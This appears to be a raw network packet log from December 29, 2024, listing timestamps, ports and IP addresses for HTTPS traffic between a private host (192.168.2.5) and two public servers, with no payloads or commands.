Dec 29, 2024 05:45:43.918322086 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.918365955 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.918376923 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.918405056 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.922406912 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.922615051 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.922673941 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.922683001 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.922719955 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.927591085 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.927865028 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.927905083 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.927983999 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.927997112 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.928076029 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.928085089 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:43.928092957 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.001389980 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.065152884 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.065876961 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.066185951 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.066409111 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.066781044 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.067099094 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.095187902 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.100068092 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.116954088 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.174596071 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.176273108 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.177279949 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.177453041 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.334350109 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.334450960 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.395241022 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.395251036 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.423863888 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.428628922 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429058075 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.429337025 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429368973 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429382086 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429528952 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429539919 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429552078 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429563999 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429769039 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429780960 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429791927 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.429801941 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.430476904 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.440977097 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.459069014 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.464946985 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.465054989 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.475754976 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.494185925 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.494363070 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.494370937 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.494379997 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.494385004 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.494627953 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.494786978 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.494847059 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:44.555521011 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.555670977 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.658267975 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.659231901 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.659522057 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.660029888 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.777429104 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.789011002 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.790313959 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.790549040 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.791485071 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:44.844563961 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:44.879354000 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.880141020 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.880717039 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:44.880928040 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.072333097 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.073153019 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.074537992 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.074934959 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.088434935 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.396631002 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.398263931 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.398662090 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.398919106 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.399472952 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.399614096 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.412250996 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.419874907 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.419944048 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.419953108 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.419955969 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.435854912 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.436113119 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.437133074 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.445868969 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.446690083 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.449722052 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.463870049 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.769093037 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.770962000 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.771625042 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:45.771796942 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:45.773704052 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.786546946 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.801527023 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.861397028 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.861460924 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.861509085 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.861519098 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:45.861681938 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.861809015 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.898901939 CET	50042	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:45.901262999 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.208789110 CET	443	50042	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.225141048 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.228637934 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.228872061 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229001045 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229182959 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.229266882 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229325056 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229336977 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229446888 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229465961 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229485035 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229497910 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229664087 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.229675055 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.230037928 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.258440018 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.260720968 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.576797009 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.584369898 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.588943958 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589276075 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589365005 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589375973 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589482069 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589492083 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589586973 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589596987 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589726925 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589736938 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589747906 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589929104 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589940071 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.589950085 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.590152025 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.590163946 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.590174913 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.590186119 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.590326071 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.604764938 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.604826927 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.604837894 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.604934931 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:46.617033958 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.617223024 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.617392063 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.647536039 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.694744110 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.696136951 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.711508036 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.732044935 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.906771898 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:46.965190887 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.068486929 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.068522930 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.068542004 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.068562031 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.074542999 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075236082 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.075361013 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075422049 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075433016 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075516939 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075546980 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075556993 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075731993 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075742960 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075854063 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075865030 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075875044 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.075932980 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.075995922 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.076049089 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.076059103 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.076069117 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.076344967 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.089523077 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089541912 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089550972 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089689016 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089699030 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089709997 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089720964 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089904070 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089917898 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.089929104 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105372906 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105438948 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105448961 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105562925 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105572939 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105586052 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105703115 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105771065 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105787992 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.105798960 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.107995033 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.108171940 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.121052980 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121119022 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121129990 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121206045 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121267080 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121278048 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121289015 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121455908 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121484041 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121495962 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.121582031 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.137653112 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.137784004 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.137811899 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.137907982 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.137933016 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.138102055 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.138113022 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.138147116 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.138226032 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.138382912 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.138396025 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.151927948 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.151995897 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152082920 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.152118921 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152184010 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152323008 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152333975 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152343988 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152354956 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152520895 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.152533054 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167144060 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167336941 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.167376995 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167387962 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167398930 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167408943 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167419910 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167435884 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167582035 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167598009 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.167610884 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.183733940 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.183780909 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.183918953 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.183923960 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.183936119 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.183967113 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.184007883 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.184019089 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.184170008 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.184201956 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.184212923 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.197881937 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.198595047 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.198647976 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.198719978 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.198729992 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.198873043 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.198885918 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.199021101 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.199074030 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.199084997 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.199187994 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.199294090 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.215277910 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215343952 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215353966 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215476990 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215487957 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215497017 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215507984 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215708017 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215718985 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215729952 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.215882063 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.231645107 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.231705904 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.231719017 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.231817961 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.231829882 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.231848955 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.231862068 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.232085943 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.232098103 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.232110023 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.232295990 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.238763094 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.245404005 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245512962 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245564938 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245686054 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245734930 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245815039 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245826006 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245948076 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245959997 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.245970011 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.246079922 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.246166945 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.262437105 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262447119 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262458086 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262466908 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262479067 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262919903 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262931108 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262942076 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262964010 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.262974977 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.264050961 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.269032001 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.286709070 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.286855936 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.286973953 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:47.287014008 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.287025928 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.287182093 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.287358046 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.287506104 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.287703037 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.287714005 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:47.287872076 CET	443	62892	23.49.251.25	192.168.2.5
